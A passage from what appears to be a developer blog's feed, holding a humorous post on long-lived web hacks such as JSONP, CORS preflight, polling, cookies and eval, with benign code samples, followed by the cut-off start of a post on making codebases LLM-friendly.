<p><strong>Remember:</strong> The only thing worse than a stale cache is no cache at all. And the only thing worse than no cache is a cache that lies to you.</p>]]></content><author><name>Shaswat Rungta</name></author><category term="Web" /><category term="System Design" /><category term="Caching" /><category term="Humor" /><summary type="html"><![CDATA[Session 1: Meeting Your Cache]]></summary><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blog.shaswatrungta.online/assets/images/web/WEB05/cover.svg" /><media:content medium="image" url="https://blog.shaswatrungta.online/assets/images/web/WEB05/cover.svg" xmlns:media="http://search.yahoo.com/mrss/" /></entry><entry><title type="html">The Internet is Held Together by Duct Tape</title><link href="https://blog.shaswatrungta.online/blog/web/internet-duct-tape" rel="alternate" type="text/html" title="The Internet is Held Together by Duct Tape" /><published>2026-03-04T00:00:00+05:30</published><updated>2026-03-04T00:00:00+05:30</updated><id>https://blog.shaswatrungta.online/blog/web/internet-duct-tape</id><content type="html" xml:base="https://blog.shaswatrungta.online/blog/web/internet-duct-tape"><![CDATA[<h2 id="the-tech-debt-of-the-internet">The tech debt of the Internet</h2>

<p>The internet is a miracle of engineering. It is also held together by hacks, workarounds, and solutions that made everyone say “this is temporary until we fix it properly.”</p>

<p>Some of these we use everyday without noticing. Lets see how they came to be.</p>

<h2 id="hack-1-jsonp-javascript-object-notation-with-padding">Hack 1: <a href="https://en.wikipedia.org/wiki/JSONP" title="JSONP - Wikipedia">JSONP</a> (JavaScript Object Notation with Padding)</h2>

<h3 id="the-problem">The Problem</h3>

<p>You want to fetch data from a different domain. The browser says no:</p>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nx">fetch</span><span class="p">(</span><span class="dl">"</span><span class="s2">https://api.example.com/data</span><span class="dl">"</span><span class="p">)</span>
  <span class="p">.</span><span class="nx">then</span><span class="p">((</span><span class="nx">r</span><span class="p">)</span> <span class="o">=&gt;</span> <span class="nx">r</span><span class="p">.</span><span class="nx">json</span><span class="p">())</span>
  <span class="p">.</span><span class="nx">then</span><span class="p">((</span><span class="nx">data</span><span class="p">)</span> <span class="o">=&gt;</span> <span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="nx">data</span><span class="p">));</span>

<span class="c1">// ❌ Error: No 'Access-Control-Allow-Origin' header</span>
</code></pre></div></div>

<p><a href="https://developer.mozilla.org/en-US/docs/Web/Security/Same-origin_policy" title="Same-origin policy - MDN">Same-origin policy</a> blocks you. In the mid 2000s, <a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS" title="Cross-Origin Resource Sharing (CORS) - MDN">CORS</a> doesn’t exist yet. What do you do?</p>

<h3 id="the-terrible-solution">The Terrible Solution</h3>

<p><strong>Observation:</strong> <code class="language-plaintext highlighter-rouge">&lt;script&gt;</code> tags can load JavaScript from anywhere.</p>

<p><strong>Terrible idea:</strong> What if we put JSON data <em>inside</em> a JavaScript file?</p>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// Your page</span>
<span class="kd">function</span> <span class="nx">handleData</span><span class="p">(</span><span class="nx">data</span><span class="p">)</span> <span class="p">{</span>
  <span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="nx">data</span><span class="p">);</span>
<span class="p">}</span>

<span class="c1">// Their server returns this:</span>
<span class="nx">handleData</span><span class="p">({</span> <span class="na">user</span><span class="p">:</span> <span class="dl">"</span><span class="s2">Alice</span><span class="dl">"</span><span class="p">,</span> <span class="na">email</span><span class="p">:</span> <span class="dl">"</span><span class="s2">alice@example.com</span><span class="dl">"</span> <span class="p">});</span>

<span class="c1">// You load it with a script tag:</span>
<span class="o">&lt;</span><span class="nx">script</span> <span class="nx">src</span><span class="o">=</span><span class="dl">"</span><span class="s2">https://api.example.com/data?callback=handleData</span><span class="dl">"</span><span class="o">&gt;&lt;</span><span class="sr">/script&gt;</span><span class="err">;
</span></code></pre></div></div>

<p><strong>It works!</strong> The server wraps JSON in a function call. Your page defines the function. Script tag loads and executes. You have your data.</p>

<p><strong>Why it’s terrible:</strong></p>

<ul>
  <li>The server can execute arbitrary JavaScript in your page</li>
  <li>No error handling</li>
  <li>URL length limits</li>
  <li>Can only do GET requests</li>
  <li>The word “padding” is a euphemism for “wrapping JSON in a function call like savages”</li>
</ul>

<p><strong>Why it lasted so long:</strong><br />
Because it worked. And CORS took years to standardize and implement everywhere.</p>

<p><strong>Status in 2026:</strong> Officially dead. Unofficially, someone somewhere is still using it and their code will break when browsers finally remove support.</p>

<h2 id="hack-2-cors-preflight-the-options-request-nobody-wanted">Hack 2: <a href="https://developer.mozilla.org/en-US/docs/Glossary/Preflight_request" title="Preflight request - MDN">CORS Preflight</a> (The OPTIONS Request Nobody Wanted)</h2>

<h3 id="the-problem-1">The Problem</h3>

<p>It is 2005 and CORS exists now! You can make cross-origin requests! Except… sometimes the browser sends TWO requests:</p>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nx">fetch</span><span class="p">(</span><span class="dl">"</span><span class="s2">https://api.example.com/data</span><span class="dl">"</span><span class="p">,</span> <span class="p">{</span>
  <span class="na">method</span><span class="p">:</span> <span class="dl">"</span><span class="s2">POST</span><span class="dl">"</span><span class="p">,</span>
  <span class="na">headers</span><span class="p">:</span> <span class="p">{</span> <span class="dl">"</span><span class="s2">Content-Type</span><span class="dl">"</span><span class="p">:</span> <span class="dl">"</span><span class="s2">application/json</span><span class="dl">"</span> <span class="p">},</span>
  <span class="na">body</span><span class="p">:</span> <span class="nx">JSON</span><span class="p">.</span><span class="nx">stringify</span><span class="p">({</span> <span class="na">data</span><span class="p">:</span> <span class="dl">"</span><span class="s2">hi</span><span class="dl">"</span> <span class="p">}),</span>
<span class="p">});</span>

<span class="c1">// Browser sends:</span>
<span class="c1">// 1. OPTIONS request (preflight)</span>
<span class="c1">// 2. POST request (your actual request)</span>
</code></pre></div></div>

<p><strong>Why two requests?</strong> Because the browser doesn’t trust you (and rightly so!).</p>

<h3 id="the-terrible-solution-1">The Terrible Solution</h3>

<p>The OPTIONS request is a “pre-flight” check. The browser asks the server: “Is it okay if I send a POST request with this header?”</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>OPTIONS /data HTTP/1.1
Host: api.example.com
Origin: https://yoursite.com
Access-Control-Request-Method: POST
Access-Control-Request-Headers: Content-Type

// Server responds:
HTTP/1.1 204 No Content
Access-Control-Allow-Origin: https://yoursite.com
Access-Control-Allow-Methods: POST
Access-Control-Allow-Headers: Content-Type
Access-Control-Max-Age: 86400
</code></pre></div></div>

<p>Only then does the browser send your actual POST request.</p>

<p><strong>Why it’s terrible:</strong></p>

<ul>
  <li>Doubles the number of requests</li>
  <li>Adds latency</li>
  <li>Server has to handle OPTIONS requests for every endpoint</li>
  <li><a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Access-Control-Max-Age" title="Access-Control-Max-Age - MDN"><code class="language-plaintext highlighter-rouge">Access-Control-Max-Age</code></a> is supposed to cache the preflight, but browsers cap it (Chrome ~2 hours, Firefox ~24 hours)</li>
  <li>Many developers don’t know why OPTIONS requests exist and misconfigure their servers</li>
</ul>

<p><strong>Why it exists:</strong><br />
Security. The browser wants to protect the server from dangerous requests. But also backward compatibility - old servers that don’t understand CORS shouldn’t accidentally accept dangerous requests.</p>

<p><strong>Status in 2026:</strong> Still here. Still annoying. Still necessary. Will outlive us all.</p>

<h2 id="hack-3-http-polling-asking-are-we-there-yet-every-second">Hack 3: HTTP Polling (Asking “Are We There Yet?” Every Second)</h2>

<h3 id="the-problem-2005">The Problem (2005)</h3>

<p>You want real-time updates. <a href="https://developer.mozilla.org/en-US/docs/Web/API/WebSockets_API" title="WebSockets API - MDN">WebSockets</a> don’t exist. How do you get the server to push data to the client?</p>

<h3 id="the-terrible-solution-2">The Terrible Solution</h3>

<p>Just ask the server for updates every second:</p>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nx">setInterval</span><span class="p">(()</span> <span class="o">=&gt;</span> <span class="p">{</span>
  <span class="nx">fetch</span><span class="p">(</span><span class="dl">"</span><span class="s2">/updates</span><span class="dl">"</span><span class="p">)</span>
    <span class="p">.</span><span class="nx">then</span><span class="p">((</span><span class="nx">r</span><span class="p">)</span> <span class="o">=&gt;</span> <span class="nx">r</span><span class="p">.</span><span class="nx">json</span><span class="p">())</span>
    <span class="p">.</span><span class="nx">then</span><span class="p">((</span><span class="nx">data</span><span class="p">)</span> <span class="o">=&gt;</span> <span class="p">{</span>
      <span class="k">if</span> <span class="p">(</span><span class="nx">data</span><span class="p">.</span><span class="nx">newMessages</span><span class="p">)</span> <span class="p">{</span>
        <span class="nx">showMessages</span><span class="p">(</span><span class="nx">data</span><span class="p">.</span><span class="nx">newMessages</span><span class="p">);</span>
      <span class="p">}</span>
    <span class="p">});</span>
<span class="p">},</span> <span class="mi">1000</span><span class="p">);</span> <span class="c1">// Ask every second</span>
</code></pre></div></div>

<p><strong>Why it’s terrible:</strong></p>

<ul>
  <li>Makes 60 requests per minute even when nothing happens</li>
  <li>Wastes bandwidth</li>
  <li>Wastes server resources</li>
  <li>Wastes battery on mobile devices</li>
  <li>Still has latency (updates only every second)</li>
</ul>

<p><strong>Variations:</strong></p>

<p><strong><a href="https://en.wikipedia.org/wiki/Push_technology#Long_polling" title="Long polling - Wikipedia">Long polling</a>:</strong> Keep the connection open until there’s data</p>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">function</span> <span class="nx">poll</span><span class="p">()</span> <span class="p">{</span>
  <span class="nx">fetch</span><span class="p">(</span><span class="dl">"</span><span class="s2">/updates</span><span class="dl">"</span><span class="p">)</span>
    <span class="p">.</span><span class="nx">then</span><span class="p">((</span><span class="nx">r</span><span class="p">)</span> <span class="o">=&gt;</span> <span class="nx">r</span><span class="p">.</span><span class="nx">json</span><span class="p">())</span>
    <span class="p">.</span><span class="nx">then</span><span class="p">((</span><span class="nx">data</span><span class="p">)</span> <span class="o">=&gt;</span> <span class="p">{</span>
      <span class="nx">handleData</span><span class="p">(</span><span class="nx">data</span><span class="p">);</span>
      <span class="nx">poll</span><span class="p">();</span> <span class="c1">// Immediately poll again</span>
    <span class="p">});</span>
<span class="p">}</span>
</code></pre></div></div>

<p>Server holds the request open until there’s data, then responds. Client immediately polls again.</p>

<p><strong>Why it’s also terrible:</strong> Keeps connections open forever. But at least it doesn’t waste requests when nothing happens.</p>

<p><strong>Status in 2026:</strong> WebSockets exist now. But polling still lives on in:</p>

<ul>
  <li>Systems that can’t use WebSockets (restrictive firewalls)</li>
  <li>“Enterprise” systems that haven’t been updated since 2008</li>
  <li>Systems that consider Server Sent Events and WebSockets too complex a solution for their use case.</li>
</ul>

<h2 id="hack-4-base64-images-in-css">Hack 4: Base64 Images in CSS</h2>

<h3 id="the-problem-2">The Problem</h3>

<p><a href="https://datatracker.ietf.org/doc/html/rfc2616" title="RFC 2616 - HTTP/1.1">HTTP/1.1</a> has a limit on concurrent connections. Every image is a separate request. Loading 50 icons = 50 requests = slow.</p>

<h3 id="the-terrible-solution-3">The Terrible Solution</h3>

<p>Encode images as <a href="https://developer.mozilla.org/en-US/docs/Glossary/Base64" title="Base64 - MDN">base64</a> strings and embed them directly in CSS as <a href="https://developer.mozilla.org/en-US/docs/Web/URI/Schemes/data" title="Data URLs - MDN">data URLs</a>:</p>

<div class="language-css highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nc">.icon</span> <span class="p">{</span>
  <span class="nl">background-image</span><span class="p">:</span> <span class="nb">url</span><span class="p">(</span><span class="n">data</span><span class="p">:</span><span class="n">image</span><span class="p">/</span><span class="n">png</span><span class="p">;</span><span class="err">base64,iVBORw0KGgoAAAANSUhEUgAAAAUA</span>
<span class="err">AAAFCAYAAACNbyblAAAAHElEQVQI12P4//8/w38GIAXDIBKE0DHxgljNBAAO9TXL</span>
<span class="err">0Y4OHwAAAABJRU5ErkJggg==);</span>
<span class="p">}</span>
</code></pre></div></div>

<p><strong>Why it’s terrible:</strong></p>

<ul>
  <li>Base64 is 33% larger than binary</li>
  <li>Can’t be cached separately from CSS</li>
  <li>Makes CSS files huge</li>
  <li>Can’t lazy-load images</li>
  <li>Makes CSS unreadable</li>
</ul>

<p><strong>Why it was used:</strong></p>

<ul>
  <li>Reduces HTTP requests (important in HTTP/1.1)</li>
  <li>Entire CSS file can be cached</li>
  <li>No <a href="https://en.wikipedia.org/wiki/Flash_of_unstyled_content" title="Flash of unstyled content - Wikipedia">FOUC</a> (Flash of Unstyled Content) waiting for images</li>
</ul>

<p><strong>Status in 2026:</strong> <a href="https://datatracker.ietf.org/doc/html/rfc7540" title="RFC 7540 - HTTP/2">HTTP/2</a> fixed the connection limit problem. But you still see base64 images in:</p>

<ul>
  <li>Old codebases</li>
  <li>Email HTML (email clients block external images)</li>
  <li>Single-file HTML apps (everything in one file)</li>
  <li>Systems where image hosting over CDNs is relatively expensive.</li>
  <li>The image is small enough, what’s the harm?(!)</li>
</ul>

<h2 id="hack-5-user-agent-sniffing">Hack 5: <a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/User-Agent" title="User-Agent - MDN">User-Agent</a> Sniffing</h2>

<h3 id="the-problem-3">The Problem</h3>

<p>Different browsers support different features. You need to know which browser the user has.</p>

<h3 id="the-terrible-solution-4">The Terrible Solution</h3>

<p>Check the <code class="language-plaintext highlighter-rouge">User-Agent</code> string:</p>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">const</span> <span class="nx">ua</span> <span class="o">=</span> <span class="nb">navigator</span><span class="p">.</span><span class="nx">userAgent</span><span class="p">;</span>

<span class="k">if</span> <span class="p">(</span><span class="nx">ua</span><span class="p">.</span><span class="nx">includes</span><span class="p">(</span><span class="dl">"</span><span class="s2">MSIE</span><span class="dl">"</span><span class="p">)</span> <span class="o">||</span> <span class="nx">ua</span><span class="p">.</span><span class="nx">includes</span><span class="p">(</span><span class="dl">"</span><span class="s2">Trident</span><span class="dl">"</span><span class="p">))</span> <span class="p">{</span>
  <span class="c1">// Internet Explorer detected</span>
  <span class="nx">loadIEPolyfills</span><span class="p">();</span>
<span class="p">}</span>

<span class="k">if</span> <span class="p">(</span><span class="nx">ua</span><span class="p">.</span><span class="nx">includes</span><span class="p">(</span><span class="dl">"</span><span class="s2">Chrome</span><span class="dl">"</span><span class="p">))</span> <span class="p">{</span>
  <span class="c1">// Use Chrome-specific features</span>
<span class="p">}</span>
</code></pre></div></div>

<p><strong>Why it’s terrible:</strong></p>

<ul>
  <li>User-Agent strings lie</li>
  <li>Browsers spoof each other to avoid being blocked</li>
  <li>User-Agent strings are ridiculously long and complicated</li>
  <li>Feature detection is better than browser detection</li>
</ul>

<p><strong>Example User-Agent:</strong></p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Edg/91.0.864.59
</code></pre></div></div>

<p>This is Edge pretending to be Chrome pretending to be Safari pretending to be Mozilla. Why? Because if a website blocked Edge, this partially circumvents the ban.</p>

<!-- Reusable highlight component. Takes a title (displayed in the legend) and content (supports markdown via markdownify). -->
<fieldset class="series-details">
    <legend>
        <b>Feature detection</b>
    </legend>
    
<p>A much better approach is to use [Feature detection][feature-detection]. Check for presence of the feature in your JS
<strong>Example:</strong></p>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">if</span> <span class="p">(</span><span class="dl">"</span><span class="s2">geolocation</span><span class="dl">"</span> <span class="k">in</span> <span class="nb">navigator</span><span class="p">)</span> <span class="p">{</span>
  <span class="c1">// Use geolocation</span>
<span class="p">}</span>

<span class="k">if</span> <span class="p">(</span><span class="k">typeof</span> <span class="nb">Promise</span> <span class="o">!==</span> <span class="dl">"</span><span class="s2">undefined</span><span class="dl">"</span><span class="p">)</span> <span class="p">{</span>
  <span class="c1">// Use promises</span>
<span class="p">}</span>
</code></pre></div></div>


</fieldset>

<p><strong>Status in 2026:</strong> User-Agent sniffing is officially discouraged. But it’s still everywhere because old code never dies.</p>

<h2 id="hack-6-cookies-for-everything">Hack 6: <a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Cookies" title="HTTP Cookies - MDN">Cookies</a> for Everything</h2>

<h3 id="the-problem-1994">The Problem (1994)</h3>

<p>HTTP is stateless. You need to remember who the user is between requests.</p>

<h3 id="the-terrible-solution-5">The Terrible Solution</h3>

<p><a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Cookies" title="HTTP Cookies - MDN">Cookies</a>! A small piece of data sent with every request:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Set-Cookie: sessionId=abc123; Path=/; HttpOnly; Secure
</code></pre></div></div>

<p><strong>Why it’s terrible:</strong></p>

<ul>
  <li>Sent with EVERY request, even for images/CSS/JS</li>
  <li>Limited to 4 KB per cookie</li>
  <li>No structured data format</li>
  <li>Global scope by default (every subdomain can read it)</li>
  <li>Security nightmare (<a href="https://owasp.org/www-community/attacks/xss/" title="Cross-Site Scripting (XSS) - OWASP">XSS</a> can steal cookies, <a href="https://owasp.org/www-community/attacks/csrf" title="Cross-Site Request Forgery (CSRF) - OWASP">CSRF</a> exploits them)</li>
</ul>

<p><strong>Why it lasted:</strong><br />
Because nothing better existed. We needed some way to do sessions.</p>

<p><strong>What cookies are used for:</strong></p>

<ul>
  <li>Authentication (session tokens)</li>
  <li>Tracking (ads, analytics)</li>
  <li>User preferences</li>
  <li>Shopping carts</li>
  <li>CSRF tokens (ironically, to protect against CSRF)</li>
</ul>

<p><strong>Status in 2026:</strong> We have <a href="https://developer.mozilla.org/en-US/docs/Web/API/Window/localStorage" title="localStorage - MDN"><code class="language-plaintext highlighter-rouge">localStorage</code></a>, <a href="https://developer.mozilla.org/en-US/docs/Web/API/Window/sessionStorage" title="sessionStorage - MDN"><code class="language-plaintext highlighter-rouge">sessionStorage</code></a>, <a href="https://developer.mozilla.org/en-US/docs/Web/API/IndexedDB_API" title="IndexedDB API - MDN"><code class="language-plaintext highlighter-rouge">IndexedDB</code></a>. But cookies persist because:</p>

<ul>
  <li>They’re automatically sent with requests (good for auth)</li>
  <li>They work across tabs</li>
  <li>Old code depends on them</li>
</ul>

<h2 id="hack-7-documentwrite-the-original-sin">Hack 7: <a href="https://developer.mozilla.org/en-US/docs/Web/API/Document/write" title="document.write() - MDN">document.write()</a> (The Original Sin)</h2>

<h3 id="the-problem-4">The Problem</h3>

<p>You want to add content to a page dynamically.</p>

<h3 id="the-terrible-solution-6">The Terrible Solution</h3>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">document</span><span class="p">.</span><span class="nx">write</span><span class="p">(</span><span class="dl">"</span><span class="s2">&lt;div&gt;Hello World&lt;/div&gt;</span><span class="dl">"</span><span class="p">);</span>
</code></pre></div></div>

<p><strong>Why it’s terrible:</strong></p>

<ul>
  <li>If called after page load, it WIPES THE ENTIRE PAGE</li>
  <li>Blocks page parsing</li>
  <li>Can’t be used in async scripts</li>
  <li>Messes with the DOM</li>
  <li>Everyone who has used it has a horror story</li>
</ul>

<p><strong>Why it existed:</strong><br />
In 1995, there was no <a href="https://developer.mozilla.org/en-US/docs/Web/API/Document_Object_Model" title="Document Object Model (DOM) - MDN">DOM API</a>. <code class="language-plaintext highlighter-rouge">document.write()</code> was the only way to generate HTML from JavaScript.</p>

<p><strong>Status in 2026:</strong> Not officially deprecated in the spec, but strongly discouraged. (See the mozilla document page on this and you will realize how red it is with warnings.) Chrome actively blocks it in some scenarios. Still in millions of ad scripts because ad tech is where code goes to die.</p>

<blockquote>
  <p>It was a reliable way to ensure the ad script executed and rendered its content across a variety of older browser environments without needing more complex DOM manipulation methods. Ad scripts often use document.write() to inject further <script> tags with dynamic parameters, effectively creating a chain of script loads to fetch the final ad creative</script></p>
</blockquote>

<h2 id="hack-8-eval-the-devils-function">Hack 8: <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval" title="eval() - MDN">eval()</a> (The Devil’s Function)</h2>

<h3 id="the-problem-5">The Problem</h3>

<p>You need to execute dynamically constructed code. Maybe you’re parsing a data format (before <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/JSON/parse" title="JSON.parse() - MDN"><code class="language-plaintext highlighter-rouge">JSON.parse()</code></a> existed), maybe you’re building a template engine, or maybe you’re just making questionable life choices.</p>

<h3 id="the-terrible-solution-7">The Terrible Solution</h3>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">const</span> <span class="nx">code</span> <span class="o">=</span> <span class="dl">'</span><span class="s1">console.log("Hello")</span><span class="dl">'</span><span class="p">;</span>
<span class="nb">eval</span><span class="p">(</span><span class="nx">code</span><span class="p">);</span> <span class="c1">// Executes the string as JavaScript</span>
</code></pre></div></div>

<p><strong>Why it’s terrible:</strong></p>

<ul>
  <li>Executes arbitrary code</li>
  <li>Security nightmare</li>
  <li>Performance nightmare (can’t be optimized)</li>
  <li>Debugging nightmare</li>
  <li>Makes code review impossible</li>
</ul>

<p><strong>Why it exists:</strong><br />
Sometimes you legitimately need to execute dynamic code. JSONP used <code class="language-plaintext highlighter-rouge">eval()</code> before <code class="language-plaintext highlighter-rouge">JSON.parse()</code> existed.</p>

<p><strong>Status in 2026:</strong> Still exists. Still dangerous. Still used in:</p>

<ul>
  <li>Code playgrounds</li>
  <li>Template engines</li>
  <li>Dynamic query builders</li>
  <li>Bad decisions</li>
</ul>

<h2 id="hack-9-the-table-layout-era">Hack 9: The <strong>&lt;table&gt;</strong> Layout Era</h2>

<h3 id="the-problem-1995">The Problem (1995)</h3>

<p>You want to create a layout with columns. CSS layout support barely exists.</p>

<h3 id="the-terrible-solution-8">The Terrible Solution</h3>

<p>Use HTML tables for everything:</p>

<div class="language-html highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nt">&lt;table&gt;</span>
  <span class="nt">&lt;tr&gt;</span>
    <span class="nt">&lt;td&gt;</span>Sidebar<span class="nt">&lt;/td&gt;</span>
    <span class="nt">&lt;td&gt;</span>Main Content<span class="nt">&lt;/td&gt;</span>
  <span class="nt">&lt;/tr&gt;</span>
<span class="nt">&lt;/table&gt;</span>
</code></pre></div></div>

<p><strong>Why it’s terrible:</strong></p>

<ul>
  <li>Semantically wrong (tables are for data, not layout)</li>
  <li>Accessibility nightmare</li>
  <li>Inflexible</li>
  <li>Nested tables everywhere</li>
  <li>Screen readers think everything is tabular data</li>
</ul>

<p><strong>Status in 2026:</strong> Finally dead. If you see table layouts in 2026, the website is either:</p>

<ul>
  <li>Very old</li>
  <li>Generated by an ancient CMS</li>
  <li>An email (email clients still use table layouts)</li>
</ul>

<blockquote>
  <p>Please just use flexbox or css grids for your layouting.</p>
</blockquote>

<h2 id="hack-10-important-the-css-nuclear-option">Hack 10: <a href="https://developer.mozilla.org/en-US/docs/Web/CSS/important" title="!important - MDN">!important</a> (The CSS Nuclear Option)</h2>

<h3 id="the-problem-6">The Problem</h3>

<p>Your CSS rule isn’t being applied. Something else is overriding it. You don’t know what, and you don’t have time to figure it out.</p>

<h3 id="the-terrible-solution-9">The Terrible Solution</h3>

<div class="language-css highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nc">.button</span> <span class="p">{</span>
  <span class="nl">color</span><span class="p">:</span> <span class="no">red</span> <span class="cp">!important</span><span class="p">;</span>
  <span class="nl">background</span><span class="p">:</span> <span class="no">blue</span> <span class="cp">!important</span><span class="p">;</span>
  <span class="nl">margin</span><span class="p">:</span> <span class="m">10px</span> <span class="cp">!important</span><span class="p">;</span>
  <span class="c">/* I don't understand the cascade and at this point I'm afraid to ask */</span>
<span class="p">}</span>
</code></pre></div></div>

<p><strong>Why it’s terrible:</strong></p>

<ul>
  <li>Breaks the natural <a href="https://developer.mozilla.org/en-US/docs/Web/CSS/Cascade" title="CSS Cascade - MDN">cascade</a> that makes CSS work</li>
  <li>The only way to override <code class="language-plaintext highlighter-rouge">!important</code> is with another <code class="language-plaintext highlighter-rouge">!important</code></li>
  <li>Leads to specificity wars that nobody wins</li>
  <li>Makes CSS unmaintainable — you can’t tell what’s overriding what</li>
  <li>Commonly a sign that the real problem is poorly structured selectors</li>
</ul>

<p><strong>Why it’s used:</strong></p>

<ul>
  <li>Third-party widgets inject styles you can’t control</li>
  <li>Legacy CSS is too tangled to refactor safely</li>
  <li>Deadline pressure: “just slap <code class="language-plaintext highlighter-rouge">!important</code> on it and ship”</li>
  <li>It always works (that’s the dangerous part)</li>
</ul>

<p><strong>Status in 2026:</strong> Alive and thriving. Every codebase has at least one <code class="language-plaintext highlighter-rouge">!important</code>. Most have hundreds. <a href="https://en.wikipedia.org/wiki/CSS-in-JS" title="CSS-in-JS - Wikipedia">CSS-in-JS</a> and utility frameworks like <a href="https://tailwindcss.com/" title="Tailwind CSS">Tailwind</a> reduce the need, but whenever CSS gets complicated, <code class="language-plaintext highlighter-rouge">!important</code> is the first thing developers reach for.</p>

<h2 id="why-these-hacks-matter">Why These Hacks Matter</h2>

<h3 id="lesson-1-temporary-solutions-become-permanent">Lesson 1: Temporary Solutions Become Permanent</h3>

<p>JSONP was a hack. It was supposed to be replaced by CORS. It lasted 15+ years.</p>

<h3 id="lesson-2-backward-compatibility-is-forever">Lesson 2: Backward Compatibility is Forever</h3>

<p>We can’t remove old features because someone, somewhere, depends on them.</p>

<h3 id="lesson-3-constraints-breed-creativity">Lesson 3: Constraints Breed Creativity</h3>

<p>These hacks exist because smart people solved real problems with limited tools.</p>

<h3 id="lesson-4-the-perfect-solution-never-comes">Lesson 4: The Perfect Solution Never Comes</h3>

<p>CORS is “better” than JSONP, but it’s also more complex, has preflight requests, and still frustrates developers daily.</p>

<h2 id="key-takeaways">Key Takeaways</h2>

<ol>
  <li><strong>Every hack was once a clever solution</strong> - JSONP was genius in 2005</li>
  <li><strong>Temporary hacks become permanent</strong> - Plan accordingly</li>
  <li><strong>Backward compatibility preserves terrible ideas</strong> - The web can never fully break old sites</li>
  <li><strong>Standards take years</strong> - Hacks fill the gap</li>
  <li><strong>Your clever hack will haunt you</strong> - Future you will curse past you</li>
</ol>

<h2 id="conclusion">Conclusion</h2>

<p>The internet works. Millions of websites, billions of users, trillions of requests per day. And it’s all held together by solutions that were supposed to be temporary.</p>

<p>JSONP. CORS preflight. HTTP polling. Base64 images. Cookies for everything. These are the duct tape and baling wire of the web.</p>

<p>And you know what? <strong>It works.</strong> Not elegantly. Not beautifully. But it works.</p>

<p>Next time you’re tempted to call something a “hack,” remember: the entire internet is a hack. Your hack is in good company.</p>

<hr />]]></content><author><name>Shaswat Rungta</name></author><category term="Web" /><category term="History" /><category term="System Design" /><summary type="html"><![CDATA[The tech debt of the Internet]]></summary><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blog.shaswatrungta.online/assets/images/web/WEB06/cover.svg" /><media:content medium="image" url="https://blog.shaswatrungta.online/assets/images/web/WEB06/cover.svg" xmlns:media="http://search.yahoo.com/mrss/" /></entry><entry><title type="html">Making Your Codebase LLM Friendly</title><link href="https://blog.shaswatrungta.online/blog/llm/llm-friendly-codebases" rel="alternate" type="text/html" title="Making Your Codebase LLM Friendly" /><published>2026-03-03T00:00:00+05:30</published><updated>2026-03-03T00:00:00+05:30</updated><id>https://blog.shaswatrungta.online/blog/llm/llm-friendly-codebases</id><content type="html" xml:base="https://blog.shaswatrungta.online/blog/llm/llm-friendly-codebases"><![CDATA[<h2 id="what-does-llm-friendly-really-mean">What Does “LLM Friendly” Really Mean?</h2>

<p>Think about the last time someone new joined your team. What did they struggle with?</p>

<ul>
  <li>Finding where things are</li>
  <li>Understanding why things work a certain way</li>
  <li>Figuring out what patterns to follow</li>
  <li>Knowing what’s okay to change and what isn’t</li>
</ul>

<p>LLMs face the exact same challenges. An “LLM friendly” codebase is simply one where these answers are easy to find.</p>

<blockquote>
  <p>The trick is to write code that anyone (or anything 😉) can understand.</p>
</blockquote>

<h2 id="why-this-matters-now">Why This Matters Now</h2>

<p>LLMs are already writing code in production systems. Tools like GitHub Copilot, Codex, and Claude are generating pull requests, fixing bugs, and adding features. The question isn’t whether to use them - it’s how to use them effectively.</p>

<p>I have been using most of the new coding models on a daily basis for fun and for production code.
Here are some of my findings that helped me reduce iterations with my agents.</p>

<p><!-- Reusable highlight component. Takes a title (displayed in the legend) and content (supports markdown via markdownify). --></p>
<fieldset class="series-details">
    <legend>
        <b>Core Insight</b>
    </legend>
    
<p>To get the best out of your LLM agents:</p>

<ol>
  <li><strong>Make it easy to write good code</strong></li>
  <li><strong>Make it hard to write bad code</strong></li>
</ol>


</fieldset>

<p>Let’s explore what this means in practice.</p>

<h2 id="making-it-easy-to-write-good-code">Making It Easy to Write Good Code</h2>

<h3 id="1-write-code-in-predictable-ways">1. Write Code in Predictable Ways</h3>

<blockquote>
  <p>LLMs are pattern-matching machines. When your codebase has consistent patterns, LLMs can accurately replicate them.</p>
</blockquote>

<p><strong>What this means in practice:</strong></p>

<ul>
  <li>The way you write logs should be standardized across the codebase</li>
  <li>Configuration handling should follow the same pattern everywhere</li>
  <li>API endpoint naming should be predictable</li>
  <li>Folder structures should be consistent</li>
  <li>File naming should match what’s inside</li>
</ul>

<p><strong>Example Scenario</strong>:<br />
If you have 10 controllers that all follow the same structure - constructor, private methods, public methods, error handling - when an LLM creates the 11th controller, it will naturally follow the same pattern.</p>

<p><strong>Why it works</strong>:<br />
